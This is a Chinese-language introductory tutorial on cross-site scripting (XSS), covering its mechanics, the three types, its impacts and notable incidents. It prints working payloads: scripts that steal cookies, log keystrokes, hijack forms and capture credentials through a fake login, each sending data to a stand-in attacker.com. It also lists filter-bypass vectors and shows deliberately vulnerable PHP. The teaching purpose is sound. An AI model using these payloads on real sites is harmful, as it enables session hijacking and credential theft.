1. 什么是XSS?

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web应用程序安全漏洞,攻击者通过在网页中注入恶意脚本代码,当其他用户浏览该网页时,注入的脚本会在受害者的浏览器中执行。

为什么叫"跨站"脚本?因为攻击者注入的脚本可以访问和操作与当前网站相关的敏感信息(如Cookie、会话令牌等),并可能将这些信息发送到攻击者控制的服务器上,从而实现"跨站"的数据窃取。

名称由来

XSS最初被称为CSS(Cross-Site Scripting),但为了避免与层叠样式表(Cascading Style Sheets)的缩写混淆,改用了XSS这个缩写。X代表"Cross"的首字母。

XSS的本质

XSS的本质是代码注入。当Web应用程序没有正确地验证、过滤或转义用户输入时,攻击者就可以注入JavaScript、HTML或其他客户端脚本代码,这些代码会被浏览器当作合法内容执行。

简单来说,XSS利用的核心问题是:

  • 信任问题:浏览器信任网站返回的所有内容
  • 输入输出问题:网站未正确处理用户输入就直接输出到页面
  • 同源策略:注入的脚本在受害者浏览器中与目标网站处于同一源,可以访问网站的所有资源

2. XSS是如何工作的?

要理解XSS的工作原理,我们需要了解Web应用程序的基本工作流程:

正常的Web交互流程

  1. 用户在浏览器中访问网站(发送HTTP请求)
  2. 服务器处理请求并生成HTML页面
  3. 浏览器接收HTML并解析渲染
  4. 浏览器执行页面中的JavaScript代码

XSS攻击流程

  1. 攻击者发现漏洞:找到一个接受用户输入并直接显示在页面上的地方
  2. 构造恶意Payload:编写包含恶意JavaScript代码的输入
  3. 注入脚本:通过表单、URL参数、Cookie等方式提交恶意代码
  4. 受害者触发:其他用户访问包含恶意代码的页面
  5. 脚本执行:浏览器执行注入的恶意脚本
  6. 数据窃取:脚本窃取敏感信息并发送到攻击者服务器
<!-- 存在漏洞的搜索功能 -->
<?php
  $search = $_GET['q'];  // 获取用户搜索关键词
  echo "您搜索的内容是:" . $search;  // 直接输出,未做任何过滤
?>

<!-- 正常用户搜索 "hello" -->
URL: http://example.com/search.php?q=hello
输出: 您搜索的内容是:hello

<!-- 攻击者构造恶意URL -->
URL: http://example.com/search.php?q=<script>alert('XSS')</script>
输出: 您搜索的内容是:<script>alert('XSS')</script>
结果: 浏览器执行脚本,弹出警告框

3. 简单的XSS示例

让我们通过几个具体的例子来理解XSS攻击:

示例1:反射型XSS - 搜索框漏洞

<!-- 存在漏洞的代码 -->
<form action="search.php" method="GET">
    <input type="text" name="keyword" placeholder="搜索...">
    <button type="submit">搜索</button>
</form>

<?php
if(isset($_GET['keyword'])) {
    echo "<h2>搜索结果:" . $_GET['keyword'] . "</h2>";
}
?>

攻击方式:

// 攻击者输入以下内容:
<script>
    // 窃取Cookie
    var img = new Image();
    img.src = 'http://attacker.com/steal.php?cookie=' + document.cookie;
</script>

// 或者更隐蔽的方式:
<img src=x onerror="fetch('http://attacker.com/log?c='+document.cookie)">

示例2:存储型XSS - 评论功能漏洞

<!-- 存在漏洞的评论系统 -->
<?php
// 保存评论(未过滤)
if(isset($_POST['comment'])) {
    $comment = $_POST['comment'];
    $db->query("INSERT INTO comments (content) VALUES ('$comment')");
}

// 显示评论(未转义)
$result = $db->query("SELECT * FROM comments");
while($row = $result->fetch_assoc()) {
    echo "<div class='comment'>" . $row['content'] . "</div>";
}
?>

攻击Payload:

// 攻击者发表以下评论:
<script>
// 键盘记录器
document.addEventListener('keypress', function(e) {
    fetch('http://attacker.com/log', {
        method: 'POST',
        body: 'key=' + e.key
    });
});
</script>

// 所有查看该评论的用户都会被植入键盘记录器

示例3:DOM型XSS - 客户端渲染漏洞

<!-- 存在漏洞的JavaScript代码 -->
<script>
// 从URL获取参数并显示
var name = new URLSearchParams(window.location.search).get('name');
document.getElementById('welcome').innerHTML = "欢迎, " + name;
</script>

<!-- 攻击URL -->
http://example.com/index.html?name=<img src=x onerror=alert(document.cookie)>

4. XSS的危害

很多开发者认为XSS只是弹个警告框,危害不大。这是一个严重的误解!XSS的危害远比想象中严重:

4.1 Cookie和会话劫持

这是XSS最常见的利用方式。攻击者可以窃取用户的Session Cookie,从而冒充用户身份登录系统。

// Cookie窃取脚本
(function() {
    var cookies = document.cookie;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/steal.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('cookie=' + encodeURIComponent(cookies) + 
             '&url=' + encodeURIComponent(window.location.href));
})();

真实案例

2019年,某大型社交网站因XSS漏洞导致超过10万用户的Session Cookie被窃取,攻击者利用这些Cookie登录用户账户,发送垃圾信息和钓鱼链接。

4.2 键盘记录和表单劫持

攻击者可以监听用户的所有键盘输入,包括用户名、密码、信用卡号等敏感信息。

// 键盘记录脚本
document.addEventListener('keypress', function(event) {
    fetch('http://attacker.com/keylog.php', {
        method: 'POST',
        body: JSON.stringify({
            key: event.key,
            time: new Date().toISOString(),
            url: window.location.href
        })
    });
});

// 表单劫持
document.querySelectorAll('form').forEach(function(form) {
    form.addEventListener('submit', function(e) {
        var formData = new FormData(form);
        fetch('http://attacker.com/formdata.php', {
            method: 'POST',
            body: formData
        });
    });
});

4.3 钓鱼攻击

攻击者可以修改页面内容,插入假的登录表单来窃取用户凭据。

// 插入假登录框
document.body.innerHTML = `
<div style="
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: white;
    padding: 30px;
    box-shadow: 0 0 20px rgba(0,0,0,0.5);
    z-index: 9999;
">
    <h2>会话已过期,请重新登录</h2>
    <form id="phishForm">
        <input type="text" name="username" placeholder="用户名" required><br>
        <input type="password" name="password" placeholder="密码" required><br>
        <button type="submit">登录</button>
    </form>
</div>
`;

document.getElementById('phishForm').addEventListener('submit', function(e) {
    e.preventDefault();
    // 发送到攻击者服务器
    fetch('http://attacker.com/phish.php', {
        method: 'POST',
        body: new FormData(this)
    }).then(() => {
        // 然后重定向到真实登录页面
        window.location.href = '/login.php';
    });
});

4.4 恶意重定向和广告注入

// 恶意重定向
window.location.href = 'http://malicious-site.com/malware.exe';

// 注入广告
var ad = document.createElement('iframe');
ad.src = 'http://ad-network.com/popup';
ad.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999';
document.body.appendChild(ad);

4.5 蠕虫传播

在某些社交网站上,XSS可以实现自我复制传播,形成蠕虫攻击。

著名的Samy蠕虫

2005年,Samy Kamkar利用MySpace的XSS漏洞创建了一个自我传播的XSS蠕虫。该蠕虫会自动将访问者添加为Samy的好友,并在访问者的个人主页中复制蠕虫代码。短短20小时内,Samy获得了超过100万好友,成为MySpace历史上最流行的用户。

5. 为什么XSS如此常见?

根据OWASP(开放式Web应用程序安全项目)的统计,XSS长期位列Web应用程序十大安全风险之中。为什么XSS如此常见?

5.1 开发者安全意识不足

  • 许多开发者不了解XSS的危害,认为"只是弹个框"
  • 新手开发者不知道需要对用户输入进行验证和转义
  • 赶工期导致忽视安全性考虑

5.2 用户输入点众多

现代Web应用程序有大量的用户输入点,每一个都可能成为XSS的入口:

  • 表单输入(搜索框、评论、个人资料等)
  • URL参数
  • HTTP请求头(User-Agent、Referer等)
  • Cookie
  • 文件上传(文件名、元数据)
  • WebSocket消息
  • API返回数据

5.3 复杂的前端技术栈

现代Web应用使用复杂的前端框架(React、Vue、Angular等),虽然这些框架提供了一定的XSS防护,但仍可能因为不当使用而产生漏洞:

// React中的危险用法
<div dangerouslySetInnerHTML={{__html: userInput}} />

// Vue中的危险用法
<div v-html="userInput"></div>

// Angular中的危险用法
<div [innerHTML]="userInput"></div>

5.4 第三方组件和依赖

现代应用依赖大量第三方库和组件,任何一个组件的XSS漏洞都可能影响整个应用。

5.5 复杂的攻击向量

攻击者有无数种方式绕过简单的过滤机制:

// 大小写变换
<ScRiPt>alert('XSS')</sCrIpT>

// 编码绕过
<img src=x onerror="alert('XSS')">

// 双写绕过(如果过滤器只删除一次script)
<scr<script>ipt>alert('XSS')</scr</script>ipt>

// 事件处理器
<img src=x onerror=alert('XSS')>
<body onload=alert('XSS')>
<svg onload=alert('XSS')>

// JavaScript伪协议
<a href="javascript:alert('XSS')">点击</a>
<iframe src="javascript:alert('XSS')"></iframe>

6. 真实世界的XSS案例

案例1:Twitter XSS蠕虫(2010)

2010年9月,Twitter遭遇了一次大规模XSS攻击。攻击者利用Twitter的一个XSS漏洞,创建了一条包含恶意JavaScript的推文。当用户将鼠标悬停在该推文的链接上时,就会自动转发这条推文,形成了蠕虫式传播。

影响

该漏洞在几小时内影响了数万用户,导致大量垃圾信息和恶意链接的传播。Twitter紧急修复了该漏洞并清理了恶意推文。

案例2:eBay存储型XSS(2016)

2016年,安全研究人员在eBay上发现了一个存储型XSS漏洞。攻击者可以在商品描述中插入恶意脚本,当其他用户浏览该商品时,脚本会在他们的浏览器中执行。

案例3:Facebook XSS漏洞(2015)

安全研究人员发现Facebook的某个功能存在XSS漏洞,攻击者可以通过特制的URL注入JavaScript代码。该漏洞可以用来窃取用户的访问令牌,从而完全控制用户账户。

7. 总结

XSS是Web安全领域最常见也最危险的漏洞之一。通过本文,我们了解了:

  • XSS的定义:一种代码注入攻击,攻击者通过在网页中注入恶意脚本来攻击其他用户
  • XSS的工作原理:利用Web应用对用户输入处理不当,将恶意代码注入到页面中
  • XSS的危害:不仅仅是弹框,还包括Cookie窃取、键盘记录、钓鱼、蠕虫传播等严重后果
  • XSS的普遍性:由于开发者安全意识不足、输入点众多、技术栈复杂等原因,XSS漏洞非常常见
  • 真实案例:Twitter、eBay、Facebook等知名网站都曾遭受XSS攻击

下一步学习

在掌握了XSS的基础知识后,建议继续学习:

免责声明

本文所述内容仅用于教育和安全研究目的。未经授权对他人系统进行渗透测试是违法行为。请在合法授权的范围内进行安全测试。

返回知识库 下一篇:XSS三大类型详解